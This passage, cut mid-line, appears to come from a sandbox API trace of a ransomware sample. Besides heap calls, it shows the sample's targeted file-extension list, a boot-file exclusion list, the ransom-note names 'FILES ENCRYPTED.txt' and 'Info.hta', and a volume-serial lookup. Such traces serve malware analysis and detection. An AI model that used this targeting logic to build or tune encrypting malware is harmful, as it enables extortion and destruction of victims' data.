Flags=0x0, Size=0xa) returned 0x61c8b0 [0063.460] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c8c8 [0063.460] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c8e0 [0063.460] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c8f8 [0063.461] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c910 [0063.461] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c928 [0063.461] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61c940 [0063.461] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c958 [0063.461] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61c970 [0063.461] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c988 [0063.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c9a0 [0063.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c9b8 [0063.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c9d0 [0063.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c9e8 [0063.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61ca00 [0063.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ca18 [0063.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ca30 [0063.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ca48 [0063.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ca60 [0063.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ca78 [0063.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ca90 [0063.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61caa8 [0063.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cac0 [0063.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cad8 [0063.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61caf0 [0063.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cb08 [0063.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cb20 [0063.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cb38 [0063.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cb50 [0063.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cb68 [0063.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cb80 [0063.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cb98 [0063.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x61cbb0 [0063.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12) returned 0x605f00 [0063.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cbc8 [0063.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cbe0 [0063.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cbf8 [0063.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cc10 [0063.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cc28 [0063.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cc68 [0063.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cc80 [0063.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cc98 [0063.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ccb0 [0063.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ccc8 [0063.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cce0 [0063.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ccf8 [0063.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cd10 [0063.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cd28 [0063.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cd40 [0063.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cd58 [0063.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cd70 [0063.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cd88 [0063.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cda0 [0063.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cdb8 [0063.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61cdd0 [0063.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61cde8 [0063.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61ce00 [0063.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61ce18 [0063.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61ce30 [0063.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a018 [0063.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ce48 [0063.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a028 [0063.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ce60 [0063.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ce78 [0063.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ce90 [0063.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61cea8 [0063.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61cec0 [0063.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61ced8 [0063.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61cef0 [0063.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cf08 [0063.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cf20 [0063.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61cf38 [0063.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cf50 [0063.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61cf68 [0063.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61cf80 [0063.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cf98 [0063.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a038 [0063.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cfb0 [0063.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61cfc8 [0063.467] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x609198, Size=0x800) returned 0x61d450 [0063.467] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0063.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61b448 | out: hHeap=0x5d0000) returned 1 [0063.467] lstrlenW (lpString="") returned 0 [0063.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61dd90 | out: hHeap=0x5d0000) returned 1 [0063.467] lstrlenW (lpString=".IPM") returned 4 [0063.467] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4750, Size=0x8) returned 0x5e4750 [0063.468] lstrlenW (lpString=".IPM") returned 4 [0063.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61dd90 | out: hHeap=0x5d0000) returned 1 [0063.468] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61ddc0, Size=0x20) returned 0x5e4370 [0063.468] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4370, Size=0x40) returned 0x606a80 [0063.468] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606a80, Size=0x80) returned 0x62b450 [0063.468] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0a8, Size=0x8) returned 0x60a0b8 [0063.468] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0b8, Size=0x10) returned 0x61ddc0 [0063.468] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61ddc0, Size=0x20) returned 0x5e4348 [0063.468] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0063.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b450 | out: hHeap=0x5d0000) returned 1 [0063.468] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61ddf0, Size=0x20) returned 0x605930 [0063.468] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605930, Size=0x40) returned 0x606a80 [0063.468] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0063.469] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0063.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x606a80 | out: hHeap=0x5d0000) returned 1 [0063.469] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61ddf0, Size=0x20) returned 0x605930 [0063.469] lstrlenW (lpString="Info.hta") returned 8 [0063.469] lstrlenW (lpString="Info.hta") returned 8 [0063.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605930 | out: hHeap=0x5d0000) returned 1 [0063.469] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x63d440, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mdskkv.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mdskkv.exe")) returned 0x30 [0063.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63d440 | out: hHeap=0x5d0000) returned 1 [0063.469] lstrlenW (lpString="mdskkv.exe") returned 10 [0063.469] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4348, Size=0x40) returned 0x606a80 [0063.469] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61ddf0, Size=0x20) returned 0x5e4348 [0063.471] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61ddf0, Size=0x20) returned 0x605930 [0063.471] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605930, Size=0x40) returned 0x606ac8 [0063.471] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606ac8, Size=0x80) returned 0x62b450 [0063.471] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b450, Size=0x100) returned 0x61b448 [0063.471] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0063.471] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61b448 | out: hHeap=0x5d0000) returned 1 [0063.471] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x63d440, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0063.471] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x64d448 | out: hHeap=0x5d0000) returned 1 [0063.471] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63d440 | out: hHeap=0x5d0000) returned 1 [0063.471] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0b8, Size=0x8) returned 0x60a0a8 [0063.471] lstrlenW (lpString="%windir%;") returned 9 [0063.471] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4348 | out: hHeap=0x5d0000) returned 1 [0063.471] lstrlenW (lpString="C:\\Windows;") returned 11 [0063.472] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62d438 | out: hHeap=0x5d0000) returned 1 [0063.472] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61de08, Size=0x20) returned 0x5e4348 [0063.472] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4348, Size=0x40) returned 0x606ac8 [0063.472] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606ac8, Size=0x80) returned 0x62b450 [0063.472] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b450, Size=0x100) returned 0x61b448 [0063.472] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0e8, Size=0x8) returned 0x60a0f8 [0063.472] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0f8, Size=0x10) returned 0x61de50 [0063.472] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61de50, Size=0x20) returned 0x5e4348 [0063.472] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0b8, Size=0x8) returned 0x60a0f8 [0063.472] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0c8, Size=0x8) returned 0x60a0b8 [0063.472] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0e8, Size=0x8) returned 0x60a108 [0063.472] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a108, Size=0x10) returned 0x61def8 [0063.472] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61def8, Size=0x20) returned 0x605930 [0063.473] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0f8, Size=0x10) returned 0x61def8 [0063.473] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0b8, Size=0x10) returned 0x61df28 [0063.473] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a0f8, Size=0x8) returned 0x60a0e8 [0063.473] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a118, Size=0x8) returned 0x60a128 [0063.473] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61def8, Size=0x20) returned 0x6058e0 [0063.473] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61df28, Size=0x20) returned 0x605840 [0063.473] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a138, Size=0x8) returned 0x60a148 [0063.473] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0063.473] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61b448 | out: hHeap=0x5d0000) returned 1 [0063.473] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61dfa0, Size=0x20) returned 0x605958 [0063.473] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x62d438, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0063.473] lstrlenW (lpString="C:\\") returned 3 [0063.474] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0063.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62d438 | out: hHeap=0x5d0000) returned 1 [0063.475] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a178, Size=0x82) returned 0x61b9b0 [0063.475] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a198, Size=0x100) returned 0x61ba40 [0063.475] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61b9b0, Size=0x104) returned 0x61bc68 [0063.475] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61ba40, Size=0x200) returned 0x61bd78 [0063.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60a188 | out: hHeap=0x5d0000) returned 1 [0063.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61bd78 | out: hHeap=0x5d0000) returned 1 [0063.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61b5c8 | out: hHeap=0x5d0000) returned 1 [0063.590] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b5e8 | out: hHeap=0x5d0000) returned 1 [0063.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61e000 | out: hHeap=0x5d0000) returned 1 [0063.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b670 | out: hHeap=0x5d0000) returned 1 [0063.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61e030 | out: hHeap=0x5d0000) returned 1 [0063.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61bc68 | out: hHeap=0x5d0000) returned 1 [0063.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61e018 | out: hHeap=0x5d0000) returned 1 [0063.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61bb48 | out: hHeap=0x5d0000) returned 1 [0063.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61b5e0 | out: hHeap=0x5d0000) returned 1 [0063.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61bbd8 | out: hHeap=0x5d0000) returned 1 [0063.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61b5f8 | out: hHeap=0x5d0000) returned 1 [0063.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x60a188 [0063.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x61b5f8 [0063.591] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61b5f8, Size=0x20) returned 0x605ac0 [0063.591] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605ac0, Size=0x40) returned 0x606c30 [0063.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x61b5f8 [0063.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60a158 | out: hHeap=0x5d0000) returned 1 [0063.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61dfa0 | out: hHeap=0x5d0000) returned 1 [0063.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61b520 | out: hHeap=0x5d0000) returned 1 [0063.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61dfd0 | out: hHeap=0x5d0000) returned 1 [0063.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b560 | out: hHeap=0x5d0000) returned 1 [0063.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61dfb8 | out: hHeap=0x5d0000) returned 1 [0063.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60a168 | out: hHeap=0x5d0000) returned 1 [0063.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61dfe8 | out: hHeap=0x5d0000) returned 1 [0063.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x607ec8 | out: hHeap=0x5d0000) returned 1 [0063.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x606000 | out: hHeap=0x5d0000) returned 1 [0063.592] lstrlenW (lpString="%systemdrive%") returned 13 [0063.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605958 | out: hHeap=0x5d0000) returned 1 [0063.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b450 | out: hHeap=0x5d0000) returned 1 [0063.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60a138 | out: hHeap=0x5d0000) returned 1 [0063.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2c) returned 0x61b520 [0063.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2000) returned 0x622818 [0063.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x60b428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114 [0063.594] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10014) returned 0x63d440 [0063.594] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x61dfe8 [0063.594] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61dfe8, Size=0x20) returned 0x605958 [0063.594] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605958, Size=0x40) returned 0x606c78 [0063.594] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606c78, Size=0x80) returned 0x62b450 [0063.594] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b450, Size=0x100) returned 0x61e070 [0063.594] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61e070, Size=0x200) returned 0x61bb48 [0063.594] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61bb48, Size=0x400) returned 0x61bb48 [0063.594] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61bb48, Size=0x800) returned 0x624820 [0063.594] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x624820, Size=0x1000) returned 0x624820 [0063.594] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x64d460 [0063.594] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x61dfe8 [0063.595] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61dfb8 [0063.595] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x60a138 [0063.595] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61dfd0 [0063.595] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x60a168 [0063.595] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61dfa0 [0063.595] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a138, Size=0x8) returned 0x60a158 [0063.595] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61e018 [0063.595] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a158, Size=0x10) returned 0x61e030 [0063.595] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61e000 [0063.595] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61b5e0 [0063.595] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61e030, Size=0x20) returned 0x605958 [0063.595] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61e030 [0063.595] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a158 [0063.595] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61b5c8 [0063.595] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61b6d0 [0063.595] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605958, Size=0x40) returned 0x606c78 [0063.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61b688 [0063.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61b6a0 [0063.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61b6b8 [0063.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61b658 [0063.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, 